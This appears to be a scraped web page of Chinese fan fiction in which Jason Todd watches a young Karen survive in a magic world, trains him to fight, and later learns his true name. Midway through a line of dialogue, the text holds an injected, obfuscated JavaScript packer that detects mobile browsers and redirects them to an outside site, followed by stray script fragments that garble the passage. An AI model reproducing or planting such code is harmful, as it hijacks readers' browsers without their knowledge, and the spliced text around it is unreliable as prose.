难道日不落帝国曾经的地盘已经跨世界了? 小卡伦的眼睛眯起来了。他在听,嘴唇微微张开,无声地重复着那些词。他的手指在墙上画,一笔一划,把听到的每一个符文刻在石头的灰尘上。刻完就用手抹掉,再画下一个。 老天,他竟然真的学会了。 杰森站在他身后,看着那双瘦削的手在墙面上移动。有的符号很复杂,几十笔才能画完,小卡伦的手指移动得很快,画完之后他会停一下,闭上眼睛,嘴唇翕动,像是在脑子里把那个符号翻来覆去地咀嚼几遍,然后才抹掉。 可以说,相比现在在课堂上打盹的那些学生,小卡伦要认真不少。 一个声音从通风口里传出来,是另一个年轻的,带着一点不耐烦的嗓音。 “……外面有人。” 小卡伦的手指停住了。 他的身体没有动,呼吸被刻意放缓,像是蛰伏起来的小兽。 通风口里传来脚步声,朝着这个方向来的。 目的这么明确,看来已经发现他了。 小卡伦从碎石块上跳下来,动作轻得像一片落叶。他没有跑,快步走到墙角的阴影里蹲下来,把身体缩成一团。头发垂下来遮住了脸,灰泥在晨光中显得和墙壁的颜色几乎一样。 铁门开了。 一个人走出来。年轻,大概十六七岁,穿着一件深蓝色的长袍,袍角绣着银色的符文。他的眼睛是浅灰色的,眼窝很深,嘴唇很薄。他走到小卡伦刚才站的那个通风口下面,抬头看了一眼,又低头看了看地上那几块垒起来的碎石。 碎石的摆放位置变了,小卡伦走的时候来不及复原。 那个年轻人蹲下来,看着那几块石头。然后他站起来,目光扫过整条巷子。 扫过小卡伦藏身的那个墙角。 停了一秒。 然后移开了。 年轻人转身走回铁门里,门关上了,狮头门环晃了两下,发出沉闷的声响。 小卡伦还蹲在墙角里。他没有动。杰森数着,一秒,两秒,三秒——三十秒过去了,小卡伦才呼出一口气。他的肩膀塌下来,从墙角里站起来,没有再去通风口,转身往巷子外面走。 他走得比来的时候更快。 杰森跟在他身后,看着他走进一条更窄的巷子,在一个没有人的拐角停下来。小卡伦靠着墙,慢慢蹲下去,把脸埋进膝盖里。 他没有哭,也没有发出任何声音。他就那么蹲着,把自己缩成很小很小的一团。 杰森蹲在他对面,看着他。 他知道小卡伦为什么害怕。不是因为差点被发现——被发现的风险一直都在。他害怕的是那个年轻人的眼神。那个年轻人蹲下来看碎石的时候,目光扫过巷子,在小卡伦藏身的那个墙角停了一秒。 那一秒不是偶然,他绝对看到了。 但他选择了掠过。 “我知道你在这里,但我不在乎。” 那种忽视是看见了也不觉得你值得被处理。你太小了,太弱了,太不重要了。你构不成威胁,你甚至不值得他浪费一个手势。 这种漠视相比打骂,或许要更让卡伦难受一些。 如果是一个从小贫穷流浪的孩子,或许觉得没什么,但卡伦曾经也有一个幸福的童年,是被爸妈捧在手心里的孩子。 这个年纪的青少年已经有了自己的自尊心,这时卡伦也才在这个陌生的世界挣扎了一年,还会为了这种程度的漠视而受伤。 当然,如果之后的卡伦碰见现在的自己,只会拍拍这个稚嫩的自己:嘿,小子,别伤心,相比之后这个世界对你的狂轰乱炸,现在的你简直是在新手村。 小卡伦没蹲太久,他固然感到有点难过,尽管他现在还没有进化到可以不为此受伤,但至少他已经习惯了这种伤痛。 他很快整理好了情绪,转身往巷子另一头走去。 ——— 3 接下来几天,杰森跟着小卡伦走遍了小镇的每一个角落。 他看到了小卡伦去铁匠铺搬货。铁匠是一个长着四只手臂的类人生物,每一只手臂都有杰森的大腿粗。让小卡伦把一摞铁锭从仓库搬到炉子旁边,一块铁锭几乎有他半个身体大。 杰森抱臂在旁边看着,心里默默盘算:卡伦搬货的时候应该是偷偷用了魔法,以他的身体素质,不可能把那些东西真的搬起来。 尽管如此,第十二块搬完的时候,小卡伦的手掌心也磨出了水泡。他把铜币装进口袋,把手藏进袖子里,不让铁匠看到。 小卡伦还是很感激铁匠的。 这些活对于铁匠来说算不得什么,只是个用来给卡伦一些钱的幌子,毕竟瘦弱的流浪小孩,尤其是大概率是纯种人类的小孩在他们镇上是受歧视的,铁匠为了合群就不可能明目张胆地给他帮助。 杰森还看到了小卡伦去学堂后门翻垃圾。那些被扔掉的旧书残页、写废的羊皮纸、用过的墨水瓶——小卡伦把它们从垃圾堆里捡出来,摊在地上,一张一张地看。他把还能辨认的符文抄在墙上的灰尘上,背下来,然后用手抹掉。 看到了小卡伦被大孩子堵在巷子里。三个,比小卡伦高半个头,领头的那个手里拿着一根木棍。他们把小卡伦逼到墙角,领头的一把揪住他的衣领把他提起来,小卡伦的脚尖离了地。他们翻他的口袋,把带在身上的十几个铜币全部掏走了。然后把他扔在地上,踢了他一脚,笑着跑了。 卡伦在这过程中没有反抗,他打不过那群大孩子,反抗总要留些伤,付出的代价会更大。 他趴在地上,过了几秒才爬起来。嘴角破了,血流到下巴上,和灰泥混在一起,变成一种脏兮兮的粉色。 他没有哭。 他蹲下来,把被翻乱的纸包重新叠好塞回衣服里。然后站起来,拍掉身上的灰,继续走。 杰森站在巷口,看着那个瘦小的背影走远。他的拳头攥得咔咔响。 他改变不了任何事情,他知道。 但这不妨碍他想违背一下老蝙蝠的原则。 ——— 4 第四天晚上,事情变了。 小卡伦回到废弃建筑的时候,没有像往常一样直接钻进干草堆里睡觉。他站在房间中央,看着墙上那些用炭笔写的字符。那些他从学堂偷听来的、从垃圾堆里捡来的、从各种缝隙里抠出来的魔法知识。 他盯着它们看了很久,然后伸出手,用手指一个一个地摸过去。 杰森注意到他的动作很轻,像在抚摸某种珍贵的东西。 小卡伦摸完最后一个字符,把手收回来,在衣服上蹭了蹭。然后他从干草堆下面摸出那个布袋,倒出里面的矿石——只剩两块了。他把两块矿石握在手心里,闭上眼睛。 嘴唇在动。 杰森听不出和之前的治疗术有什么区别,但他看到小卡伦的表情变了。不再是之前那种小心翼翼的、一个字一个字确认的念法。他的嘴唇动得很快,句子和句子之间没有停顿,仿佛已经在脑子里排练了无数次。 矿石亮了一下。不是之前的蓝光,是金色的,和他眼睛的颜色一样。 光从矿石里涌出来,沿着小卡伦的手指爬上去,覆盖了他整只手。他的手在光中变得透明——杰森能看到光下面细细的、像鸟的骨骼一样的手指。 小卡伦睁开眼睛,低头看着自己发光的手。 他露出这些天来第一个,发自内心的,又带了点得意扬扬的笑。 虽然来到这个世界糟糕的要命,但这可是魔法哎!在他的家乡一辈子都学不到的东西! 他现在也可以称得上是魔法少年啦! 那道金色的光只持续了几秒,矿石碎成粉末,从他的指缝里漏下去。另一块矿石表面出现了一道裂纹。小卡伦把它放回布袋里系好,塞回干草堆下面。 他躺下来,把破布盖在身上,闭上眼睛。 这一次,他没有立刻睡着。他的手放在胸口,手指微微蜷着,像是在握什么东西。杰森看到他的嘴唇又动了,这次很慢,只有两个音节。 不是魔法,是名字。 不是英文,但杰森听懂了。 那是卡伦自己的名字。他的真名。不是“卡伦·格里索温”这个被魔法世界接受的名字,是他在哥谭的名字,他父母给他取的名字。 那是蝙蝠侠最终也没有查出来的名字。 像卡伦这么高战力的哥谭人,早就被蝙蝠侠做成表了。但奇怪的是,即使是蝙蝠侠,也没有查到卡伦过去的事,甚至没有查出他的父母和姓名,就像他们从来不存在。 在卡伦出现时,他就已经是卡伦了,杰森也是第一次知道,这可能不是他的本名。 他在睡前念自己的名字,怕自己忘记。 卡伦是不是说过在魔法世界,名字很重要来着?所以,干脆给自己取了个假名吗? 杰森坐在墙边,看着那个蜷缩在破布堆里的孩子。他的喉咙发紧,无力感裹紧了他。 他想起自己在犯罪巷的日子。他也是这么过来的。饿肚子,被打,被人当作不存在。他知道卡伦之后将要面对更多困难,但光是这一部分已经够让他难受了。 他看到了卡伦的困境,但卡伦的过去他已无力插手。 那个已经成为一个强大的魔法师的卡伦不再需要别人的帮助,而这个小卡伦即将经历的,如同剥皮抽筋一般的生长痛,他也没办法在那时陪在他身旁。 杰森把手伸进口袋,摸到了那几枚冰蓝色的符石,是卡伦刻的那批。在哥谭,在诊所里,在那些安静的下午,卡伦坐在诊台后面,低着头,一颗一颗地刻这些东西。 这些他曾在那些沙土,石砾上笔划过的,毫无价值的符文,也到了千金难求的珍贵地步。 ——— 5 第五天,小卡伦从面包店后门拿了纸包之后,没有像往常一样直接走。 他站在巷子里,把纸包打开,掰了一块面包塞进嘴里,嚼着,然后突然停了下来。 他的头转向杰森站的方向。 眼睛眯起来了。 不是之前那种模糊的感知,他的目光聚焦在杰森的胸口——吊坠的位置。 靠在卡伦对面墙上的杰森低头看了一眼自己的吊坠。 他抬头,和小卡伦对视上了。 “你是谁?” 声音很轻。沙哑的,像很久没有和人说过话。但他没有恐惧,没有慌张,只是对任何新出现的“不对劲”都保持着一种冷静的戒备。 “你能看见我了?” “你是鬼吗?” 杰森愣了一下。 “……不是。” “那你怎么出现的?” “说来话长。” 小卡伦歪了歪头,想了想,然后做了一个杰森没想到的动作——他把纸包重新叠好塞进衣服里,在巷子边上的台阶上坐了下来。 “那就长话短说。” 还真是有卡伦那种出人意料的风格。 杰森看着卡伦像一个小大人一样坐在台阶上,随后在他旁边坐下来。 台阶很窄,两个人坐不下。他坐在地上,把后背靠在台阶的边缘,侧过头看着小卡伦。小卡伦也侧过头看着他。金色的眼睛和蓝色的眼睛在傍晚的光里对上了。 杰森想了想,说:“我叫杰森。” “杰森什么?” “杰森·陶德。” 小卡伦把这个名字在嘴里嚼了一遍,像是在品味它的味道。“陶德,”他说,“你是英国人?” “不是,是美国。哥谭人。” 小卡伦的眼睛亮了一下。 在这个没有一个人知道他来自哪里的世界里,他第一次听到一个熟悉的地名时。像在黑夜里走了很久,突然看到远处有一盏灯。 “哥谭,”他重复了一遍,声音比刚才轻了一些,“你怎么从哥谭到这里的?” “被人送来的,不是自愿的,哦,也说不好。”至少想来救你这部分是自愿的。 “谁送你来的?” “说来话长的那部分。” 小卡伦看了他一眼,点了点头,没有追问。 杰森注意到他在听到“哥谭”之后,不再是那种挺直的、随时准备跑路的坐姿,明显有了点长谈的欲望。 “你在哥谭住哪儿?”小卡伦问。 “犯罪巷。” “你是从那里出来啊。” “嗯。” “你活下来了。” “嗯。” 小卡伦低下头,看着自己的手。手指上全是细小的伤口,指甲缝里嵌着洗不掉的泥。 “我也是。”他说。声音很轻,但杰森听得很清楚。 不是“我也会活下来”的未来时,是“我也在活着”的现在时。 “你是怎么活下来的?”小卡伦问。他转过头看着杰森,眼睛里有一种认真的、不太像十一岁孩子的好奇,或者说有一点虚心请教的意味,“在犯罪巷。” 杰森想了想。 “偷东西,比如蝙蝠车的轮胎。打架,跑得比别人快。” 小卡伦听见蝙蝠车的时候嘴角动了一下:“我也会打架。” “你那个不叫打架。”杰森说,“你那是挨打。” 小卡伦皱了皱眉,但没有反驳。他低下头,把裤腿卷起来,露出小腿上那块已经淡得快看不见的淤青。 “我在学了。” “学什么?” “怎么还手。” 他不会一直忍耐这种受人制约的生活,他会变强,直到足够保护自己,也足够保护自己在意的人。 杰森沉默了几秒。 “我教你。” 小卡伦抬起头。“你?” “我。”杰森说,“反正我也没事干。” 小卡伦歪着头看了他一会儿,似乎在判断这个人是不是在开玩笑。 “你打得过他们吗?” “我现在可打不到实物,”杰森说,“但我可以教你怎么样用好你有的东西。” 小卡伦想了想。“我有什么?” “你跑得快,身体轻,会观察。”杰森一个一个地数,“你刚才在巷子里蹲下来的时候,选的位置是墙角,左右都有遮挡,前面是开阔地。你跑的时候有控制动作,没声音。而且把平时容易被当成人类的特征都做了伪装。” 小卡伦听着,眼睛里的光一点一点地变亮。 “你注意到了?” “我跟了你四天了。” 小卡伦的嘴角终于翘了起来,然后又迅速变回正经的样子。 “那明天开始,”小卡伦说,“你教我。” “好。” ——— 6 接下来的几天,杰森一直在做这件他知道可能没有用的事。 这里是卡伦的过去,而过去已经发生,不可改变。 但他还是在教小卡伦怎么打架。 “如果你被推到墙上,不要硬顶。顺着他的力气转,用他的推力把自己甩出去。” “打肚子,或者男性的话就是下三路。打致命部位的话,容易闹大。肚子那里没有骨头,目标大,疼的时间长。” “被人抓住手腕的时候,往他大拇指的方向拧。” 小卡伦听着,做着动作。他的动作很生涩,但学得很快。杰森说一遍,他就记住了。 “你以前学过?”杰森忍不住怀疑。 “没有,但我看过。”小卡伦说,“镇上的守卫训练的时候,我躲在墙后面看过。而且我记忆力好,不然的话也偷学不到那么多魔文知识。” 杰森看着他。 “你还看过什么?” “魔法,炼金术,铁匠怎么打铁,面包师怎么揉面。”小卡伦数着,“药铺的人怎么配药,学堂的人怎么画符文。” “你什么都看?” “什么都要学一点,不然会死掉的。” 杰森没有接话。这句话不是夸张,不是比喻。是陈述事实。 他们就在废弃建筑后面的空地上练。地面是碎石子铺的,踩上去会发出沙沙的声音。 他一遍一遍地练杰森教他的动作,每一遍都比上一遍快一点,准一点。身体各处也更加有力,但食物上的消耗也增加了,这让卡伦不得不多抽出一点时间来打工。 好在这些付出都是有回报的。 杰森坐在一块倒下来的石头上,看着在夜空下一遍一遍地练。 “你的手抬高了,护住下巴。” 小卡伦把手放低了一点。 “对,就是这样,再来。” 小卡伦又出了一拳,这一次他的拳头带着风声。 “你以前杀过人吗?”杰森问。 “没有。” “杀过之后就不一样了。”杰森说,他知道小卡伦将来要面对什么,所以也不回避和小孩谈起这些话题,“第一次杀人的时候,你会觉得自己变成了另一个人,灵魂仿佛会变沉重。” 小卡伦停下来,转过头看着他。“变沉重?” “嗯,像往身体里塞了一块石头,拿不出来的那种。” 小卡伦想了想,然后出了一拳。这一次力气很大,拳头砸在空气中,发出“啪”的一声。 “我不怕变重。”他说。 杰森看着他,没有说话。 他知道这个孩子不怕,这个孩子未来会扛起比那块石头更重的东西。 ——— 7 训练完的晚上,他们会坐在废弃建筑的门口,看着远处那座黑色的塔。塔尖上那点橘红色的光还在,像一只永远不会闭上的眼睛。 小卡伦会从衣服里拿出纸包,掰一小块面包,慢慢地嚼。杰森不吃东西,但他会坐在边,看着小卡伦吃。 “哥谭现在是什么样子的?”小卡伦问。 杰森想了想。他不知道该怎么跟一个困在魔法世界的十一岁孩子描述哥谭。说“很糟糕”?相比卡伦在这里的生活好像也没有。说“比你这里好”?这也太扎心了。 “有一条河。”杰森说,“河面上有船。晚上的时候,船上的灯倒映在水里,像碎了的星星。” 小卡伦的眼睛亮了一下。 “犯罪性还是老样子,我在那里长大的。房子很破,墙上全是涂鸦,街角的垃圾永远没人收。但巷子尽头有一棵很大的树,不知道什么品种,反正它一直长在那里。不过蝙蝠侠出道之后,治安多少好了一点。哦,你这个年纪的话,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444139|201073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 概知道他?” “我当然知道他。”卡伦露出了理所当然的表情,但随之又有点落寞,换了个话题,“你喜欢那棵树?” “算不上喜欢。”杰森说,“但印象很深。它一直在那里,不管那条街上死了多少人,它都在那里。” 小卡伦沉默了一会儿。 “我曾经住的那条街上没有树。”他说,“但有一个喷泉,已经不喷水了。池子里长满了青苔。下雨的时候,青苔会变成绿色,很亮很亮。” 他说话的时候,眼睛看着远处,像是在看那个已经不喷水的喷泉。 “你喜欢那个喷泉?”杰森问。 “算不上喜欢。”小卡伦学着他的语气说,“但它一直在那里。” 杰森的嘴角动了一下。 他们又沉默了一会儿。雾气从巷口漫进来,贴着地面流淌。远处的铁匠铺已经关门了,叮当声停了,只剩下海浪的声音。 “杰森。” “嗯。” “你会走吗?” 杰森想了想。“会。” “什么时候?” “不知道。” 小卡伦点了点头,没有说话。他把最后一点面包塞进嘴里,嚼了很久,咽下去。 “你走的时候,”他说,“跟我说一声。” “好。” 小卡伦站起来,拍了拍裤腿上的灰,转身走进门缝里。 杰森坐在门口,听着里面的动静——干草堆的沙沙声,衣服摩擦的声音,然后是一声很轻的、几乎听不见的叹息。 他靠着门框,看着远处那座黑色的塔。 塔尖上的光还在亮着。 ——— 8 第六天,小卡伦没有去搬铁。 他带着杰森去了镇子外面。 出了镇子是一条土路,两边是荒草地,草很高,黄绿色的,风一吹就倒下去一片。远处能看到海,灰蓝色的,和天空融在一起,分不清界限。空气里有盐的味道,比镇子里重。 小卡伦走在前面,光着脚踩在土路上,走得很快。 “你带我来这里干什么?”杰森问。 “给你看个东西。” 他们走了大概二十分钟,到了一个山坡上。山坡不高,但站上去能看到整个小镇——冷色调的房子挤在一起,像一堆快要散架的积木。远处那座黑色的塔比其他所有建筑都高,塔尖刺进灰黄色的云里,像一个警告。 小卡伦在山坡上坐下来,把下巴搁在膝盖上。 “我第一次来这里的时候,”他说,“是刚到这里的第一天。” 杰森在他旁边坐下来。 “我醒来的时候在一个巷子里,不知道自己在哪,不知道发生了什么。我跑遍了每一条街,想找到回家的路。”他的声音很平静,像在讲别人的故事。 “后来我跑到了这里。站在这个山坡上,看到整个镇子。没有我认识的地方。没有一条路是我认识的。” 他停了一下。 “然后我就知道,我回不去了。” 杰森没有说话。他看着小卡伦的侧脸。他的睫毛很长,垂下来的时候在颧骨上投下一小片阴影。 “你想回去吗?”杰森问。 小卡伦沉默了很久。 “想。”他说,“但想也没用。” 杰森看着他。这个孩子坐在山坡上,双手抱着膝盖,下巴搁在膝盖上。他的表情带着一点淡然,似乎已经接受了自己的命运。 “我有时候会做梦,”小卡伦说,“梦见我还在家里。妈妈在做饭,爸爸在看报纸。我推开家门,他们抬头看我,说‘你回来了’。” 他的声音有一点发抖,但他控制住了。 “然后我醒了,这里没有门。” 杰森把手伸过去,想要拍拍卡伦的肩膀。但半途又想起来他碰不到物体。 他把胳膊收回来。 小卡伦看了他一眼。“你在干什么?” “没什么。” 小卡伦歪了歪头,给了他一个笑脸:“你想拍我的肩膀?” 杰森没有回答。 小卡伦想了想,往杰森的方向挪了一点。肩膀靠过来,停在一个杰森的手刚好能碰到的位置。 “你拍吧。”他说,“虽然碰不到。” 杰森看着他的肩膀。那只瘦削的、裹在大了好几号的衣服里的肩膀。 他把手伸过去,悬在小卡伦的肩膀上方。, “你叫什么名字?”杰森问。 “卡伦。” “卡伦什么?” “卡伦·格里索温。” “那是这个世界的名字。”杰森说,“你原来的名字呢?” 小卡伦沉默了几秒。 “我不想说。” 我不想在这个世界里提起那个名字,他不属于这个世界。 杰森没有追问。 “那就不说。” 他们坐在山坡上,看着灰黄色的云慢慢移动。海风吹过来,带着盐的味道。小卡伦把衣领竖起来,挡住风。 “杰森。” “嗯。” “你说你从哥谭来的,那你见过蝙蝠侠吗?” 杰森差点被自己的口水呛到。 “……见过。” “你觉得他是好人吗?” 杰森沉默了很久。 “他……是好人。”他说,“但他也是我见过的最固执的人。” 小卡伦点了点头。 “那哥谭有他在,应该不会太差。” 杰森没有说话。 他看着远处灰蓝色的海,想起了哥谭的河,河面上碎成一片一片的月光。想起了犯罪巷尽头那棵不知道品种的树。想起了蝙蝠侠站在滴水兽上的背影。 “哥谭有他在,”杰森说,“确实没有更差。” ——— 9 第七天早上,杰森睁开眼睛的时候,发现自己在发光。 银白色的光从他的皮肤里渗出来,像他整个人变成了一盏快要燃尽的灯。 小卡伦已经醒了。他蹲在杰森面前,歪着头看着他身上的光。 “你要走了。”他说。 “嗯。”杰森说。 “那个光,”小卡伦指了指杰森的胸口,“是从这里来的,它一直在叫。从你来的第一天就在叫。” 杰森张了张嘴,不知道说什么。 “它在叫你回去。”小卡伦说。 杰森没有说话。 小卡伦站起来,拍了拍裤腿上的灰。他的表情很平静,和平时一样。但他站起来之后没有走开,而是站在那里,看着杰森。 “你说过,走的时候会跟我说一声。” “嗯。” “那你说吧。” 杰森站起来。银白色的光从他身上流出来,在空气中散开,像萤火虫。 他看着小卡伦。这个孩子站在灰黄色的光里,穿着一件大了好几号的衣服,脸上涂着灰泥,头发乱糟糟的,但他的眼睛像两颗打磨过的琥珀。 “我要走了。”杰森说。 小卡伦点了点头。 “谢谢你,”他说,“教我打架。” “你学得很快。” “谢谢你,陪我说话。” “我也没别的事干。” “你回去之后,”他说,“会记得我吗?” 杰森看着他,那双金色的眼睛里有一点光在闪。是泪光吗?还是被点燃的希望? “会。” 小卡伦点了点头。他把手伸进口袋里,摸了摸那个布袋。矿石只剩一块了,还有一道裂纹,他没有拿出来。 他以后会记得送杰森很多更好的礼物,那个时候他或许也会把自己的真名告诉他,会和他分享自己在这片给人痛苦又十足梦幻的大陆上的生活,会跟他说说自己有多么开心遇到了他,会感谢他让自己充实了生活的希望。 如果他还能回到哥谭的话。 如果他还能,回到那个遥远的故乡。 “我也会记得你。”他说。 杰森的身体开始变淡。银白色的光从他的指尖和发梢散开,像沙子从指缝里漏下去。 小卡伦看着他,没有动。 “杰森。” “嗯。” “哥谭见。” 杰森的喉咙紧了一下。 他想说很多话,最后却都堵在喉咙里。他再也不能参与小卡伦未来的生活,哥谭,这个小卡伦和他的卡伦是同一个吗?如果不是,他又要怎样回答这个孩子呢?怎样回答这个注定命途坎坷的孩子。 光灭了的最后一瞬,他看到小卡伦站在灰黄色的光里,抬起手,朝他挥了挥。 杰森想抬手回应,但他的手指已经不见了。 然后一切消失了。 ——— 10 杰森睁开眼睛。 他躺在飞船的医疗舱里,头顶是白色的天花板,灯光很亮,刺得他眼睛发酸。他的身体很重,像被灌了铅。手指动了一下,关节发出咔嗒的声响。 他听到比扎罗的声音从远处传来:“杰森。醒了。” 然后是脚步声。阿尔忒弥斯的脸出现在他的视野上方。她低头看着他,表情带着如释重负和“你他妈让我们等了好久”的愤怒。 “你昏迷了三天。”她说。 杰森张了张嘴,喉咙干得像砂纸。 “卡伦呢?” 阿尔忒弥斯的表情变得复杂。 “他还没醒。” 杰森撑着床板坐起来。身体很沉,但他不在乎。他站起来,赤着脚踩在冰冷的金属地板上,往医疗舱外面走。 “杰森。”阿尔忒弥斯喊了一声。 他没停。 他走到走廊尽头的另一个医疗舱门口,推开门。 卡伦躺在床上。白色的床单盖到胸口,双手放在身体两侧。 吊坠在他胸口,蓝绿色的宝石,不发光了。 杰森站在床边,低头看着他,然后在床边的椅子上坐下来。 “你说过的,”他说,声音很低,低到只有自己能听见,“你说‘你喊我,我总是要来的’。” 他顿了一下。 “那你现在可以醒过来了吗?” 卡伦没有反应。 杰森握住了卡伦的手,他的手很冰冷,生命的气息微弱,但脉搏还是顽强的鼓动着。 他看着卡伦。 就像在那个废弃建筑里,看着那个蜷缩在破布堆上的孩子一样。 真好啊, 至少我们又见面了。 43. 第四十三章 卡伦睁开眼睛的时候,天花板的灯管在他视线里晃了一下。 白色的。医疗舱常用的冷白光,照得整个房间像一个大号的保鲜盒。他盯着那根灯管看了几秒,灯管的边缘有一点发黄,应该是用了很久没换。 他躺在一张床上。床单是白色的,很薄,手放在身体两侧,手指微微蜷着。指甲划过床单纤维的触感很细,很真实。 他回来了。 卡伦没有立刻起身。他躺在那里,眼睛睁着,看着天花板。脑子里有很多画面在闪。 他的过去的一些记忆改变了。 在他初入魔法世界的那段痛苦,疲惫的日子里,曾经有人来过,有人可以在那短暂的几天倾听他的诉说,也分享他的快乐。 那短短几天的温暖,在之后支撑着他走了很远。 他记得那个废弃建筑里的干草堆,记得墙上用炭笔写的符文,也同样记得面包店后门那个等待的身影。 他记得那个声音。 “我叫杰森。杰森·陶德。” “你是英国人?” “不是,是美国。哥谭人。” 那些记忆里多了一个人。 那个人坐在他旁边,教他怎么出拳,怎么用已有的条件让自己受到最小的伤害,那个人坐在废弃建筑的门口,陪他看远处那座遥不可及的,黑色的塔。甚至是那个人想要拍拍他的手。 杰森。 在那段迷茫又痛苦的日子里,杰森出现了。 卡伦把手从床单上抬起来,放在自己的胸口。 他的心脏很久没有这样鲜活的跳动过,或者说他从来没想过那颗安上了精密机械和炼金阵法的心脏会为了一个人而加速跳动。 他记得杰森走的那天。银白色的光从那个人的身体里渗出来,像沙子从指缝里漏下去。在等待离别的最后几秒,他说—— “哥谭见。” 如果他还能回到遥远的故乡,他就会告诉杰森他自己也快忘却的姓名。 现在,他回来了。 卡伦把手放下来,撑着床板坐起来。身体有点沉,很久没动过了。他低头看了一眼自己的衣服——是飞船里备用的黑色T恤,领口有点大,露出锁骨和一小截胸口。 他抬起右手,手指在空中画了一个很小的符文。无数细碎的光点落在他身上,碰到皮肤的瞬间,灰尘和汗渍像被风吹散一样消失了,头发也变得蓬松干净。 清洁魔法,小得不能再小的那种。但卡伦还是觉得有必要——他在医疗舱里躺了不知道多久,头发都油了。 他把手指插进头发里,往后捋了一下。清爽了。 赞颂伟大的魔法。 然后他听到了门外传来的声音。 走廊里有人在说话。比扎罗的声音,含混的,好像石头摩擦石头。 “杰森。你在这里。几天了。” 另一个声音回答,低沉的,带着一点沙哑。 “嗯。” “卡伦。什么时候醒?” “……不知道。” 卡伦的手停在头发里。 杰森在外面。 他站起来,把脚塞进床边的拖鞋里。拖鞋有点大了,走起路来会发出啪嗒啪嗒的声音。他走到门口,把手放在门把手上。有些忐忑,可能是近乡情怯,他的手指在把手上停了一秒,然后按下去。 门开了。 走廊的灯光比医疗舱里暗一点,是暖黄色的。杰森靠在走廊的墙上,一条腿曲着,脚踩在墙面上。 他的皮衣脱了,也是穿着一件黑色的T恤,不过他穿着要比卡伦合身很多。他的头发乱糟糟的,眼睛下面有很深的阴影,下巴上冒出青色的胡茬。 比扎罗蹲在他旁边,阿尔忒弥斯站在走廊的另一头,双臂抱在胸前,背靠着墙。 三个人同时转过头来看他。 卡伦站在门口,手还握在门把手上。他穿着一件大了好几号的黑色T恤,脚上踩着大了好几号的拖鞋,但头发是干净的,脸是干净的,整个人看起来不像刚昏迷了三天的样子。 杰森从墙上站直了。 他的动作很快,但卡伦注意到他在站起来的那一瞬间,手指在墙上按了一下,像是需要借一点力。 “你醒了。”杰森说,语气里带着点如释重负。 “嗯。” “睡了五天。” “嗯。” “饿不饿?” “还好吧。” 比扎罗歪着头看着他们,眼睛从杰森身上转到卡伦身上,又从卡伦身上转回杰森身上。 阿尔忒弥斯在走廊那头咳了一声。 “我们出去。”她说,拍了一下比扎罗的肩膀,“走。” “可是——” “走。” 比扎罗站起来,跟着阿尔忒弥斯往走廊那头走。走了几步,他回头看了一眼,然后被阿尔忒弥斯拽着胳膊拖走了。走廊尽头传来一声闷响——可能是比扎罗撞上了门框,也可能是阿尔忒弥斯拍了他一下。 走廊里只剩下两个人。 卡伦松开门把手,往前走了两步。拖鞋在地板上发出啪嗒一声。他走到杰森面前,停下来。两个人之间隔了半步的距离。他能闻到杰森的味道,有点让卡伦联想到哥谭难得一见的阳光,除此之外,他的身上还带着点咖啡和火药味的气息。 卡伦抬起头看着杰森的脸。那张脸上有灰色的纹路留下的痕迹——很淡,像旧伤疤,从手指蔓延到手腕,从手腕到小臂。杰森没有遮,袖子卷到手肘,那些纹路在灯光下清晰可见。有几条纹路爬到了他的脖子侧面,仿佛被细细的树根缠绕。 有点讨厌,就像是自己的领地被别人侵占了,回头就给他去掉。 卡伦伸出手,抓住了杰森的手腕。 好了,现在是时候兑现他对自己的承诺了。 他深吸一口气。 “我叫伊莱。”他说。 声音有一点紧。尽管这是一个已经快被人遗忘的名字,但真名对于一个魔法师很重要,对卡伦也很重要,他不知道杰森能不能意识到这一点,如果不行,岂不是显得他现在的行为很奇怪。 他的手指在杰森的手腕上收紧了一点,指腹贴着杰森的脉搏。 杰森低头看着那只握在自己手腕上的手,又抬起头看着卡伦。 “伊莱什么?” “伊莱·莫兰。” 杰森把这个名字在嘴里嚼了一遍。“伊莱·莫兰。”他重复,声音很轻,仿佛是在确认每一个音节的形状。 “嗯。” “这是你的真名。” “嗯。” “为什么告诉我?” 卡伦看着他。金色的眼睛在暖黄色的灯光里显得很亮,但那亮里面有一点不安,像水面上晃动的光。他的睫毛垂了一下,又抬起来。 “因为在你离开的时候,我想,如果我真的能回到这个遥远的故乡,我就会告诉你,我的真名。”他说。 杰森的下巴绷紧了一点。他的喉结动了一下。 “虽然你从来没有问过我。” “你不说,我就不问。”杰森说,“这是你的东西。你自己决定给谁。” 卡伦沉默了几秒。他的手还握着杰森的手腕,没有松。他的肩膀往下沉了一点,仿佛突然卸下了什么沉重的东西,露出一个轻轻的,无可奈何的笑来。 是对自己无法自拔的无奈,也是对杰森无可奈何的无奈。 他有种预感,经过这次事件后,他未来很难拒绝杰森的任何请求了。 “你是第一个知道的。”他说,“在我从那片大陆回来之后。” 杰森低头看了一眼那只手。卡伦的手指微微蜷着,指腹贴着他的脉搏。他能感觉到卡伦的指尖有一点凉,粗糙的——那是长期接触炼金材料留下的茧。 “你父母取的?”杰森问。 “嗯。” “好听。” 卡伦的嘴角动了一下。那点不安从眼睛里退下去了,换成了很淡的笑。他的耳朵尖开始泛红——从耳尖往下,像墨水渗进宣纸。 “你是在夸我,还是夸我爸妈?” “都行。” 卡伦抬起头。 他的眼睛在暖黄色的灯光里亮得很安静。 他往前迈了半步。 杰森没有动。 卡伦的手从杰森的手腕滑上去,滑到他的手掌,握了一下,然后松开。他的手指往上移了一点,碰到了杰森的手背。他的手很凉,指尖有一点粗糙,是长期接触炼金材料留下的茧。 他踮起脚尖。 动作很慢。慢到杰森完全可以躲开,如果他想要躲开的话。 杰森没有躲。 卡伦的嘴唇碰到了杰森的嘴角。 很短。不到一秒。像一片落叶擦过皮肤,轻到几乎感觉不到,但触感是真实的。 卡伦落回脚后跟,退了一小步。他的手还停在杰森的手背上,没有收回来。 他的耳朵红了。从耳尖到耳垂,像被火烧过。 “那是——”他开口,声音有点紧,“吻面礼。表达感激,也代表着,我的忠诚。” 如果你有需要,我会为你而战。 杰森盯着他。 